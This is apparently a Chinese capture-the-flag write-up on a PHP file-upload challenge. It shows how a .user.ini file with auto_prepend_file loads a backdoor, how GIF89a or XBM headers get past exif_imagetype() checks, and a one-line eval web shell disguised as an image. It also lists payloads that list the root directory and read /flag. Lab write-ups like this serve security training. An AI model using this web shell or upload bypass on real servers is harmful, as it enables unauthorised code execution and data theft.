知识点

1、利用.user.ini上传\隐藏后门

条件

  1. 服务器脚本语言为PHP
  2. 服务器使用CGI/FastCGI模式
  3. 上传目录下要有可执行的php文件

    实例

    上传.user.ini绕过黑名单检验
    1. GIF89a //绕过exif_imagetype()
    2. auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
    3. auto_append_file=a.jpg //解析后进行包含

    优势

    .htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

2、绕过exif_imagetype()的奇技淫巧

  1. #define width 20
  2. #define height 10

采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。

在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。 XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。 也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度【以像素为单位,比如以下xbm文件: #define test_width 16 #define test_height 7

启动靶机

上传了一个图片马,但是不能使用
image.png

正解是:

1. 制作.user.ini文件

制作.user.ini 文件,通过auto_append_fileauto_prepend_file来包含后门
因为后台用exif_imagetype函数检测文件类型,所以我们在文件前加上图片的特征,来绕过检测。

  1. GIF89a
  2. #define test_width 16
  3. #define test_height 7
  4. auto_prepend_file=shell2.jpg

image.png

2. 制作图片马

此处注意,此题中过滤了<?,所以我们就换个方法制作图片马。注意生成的图片马的名称,要和.user.ini中的配置:auto_prepend_file的值相同。

  1. <script language="php">
  2. @eval($_POST['shell']);
  3. </script>

3. 上传.user.ini文件和图片马

image.png

4. 蚁剑连接或直接从页面读取flag

  1. http://3d49cf87-c85c-43ca-87e5-05caacc68056.node4.buuoj.cn:81/uploads/125f98a03b681c11163a920aca0ec57c/index.php

页面读取:

  1. shell = var_dump(scandir("/"));
  2. shell = var_dump(file_get_contents("/flag"));

image.png

蚁剑连接:
image.png


真的好庆幸,我来到了这里 —2021.08.18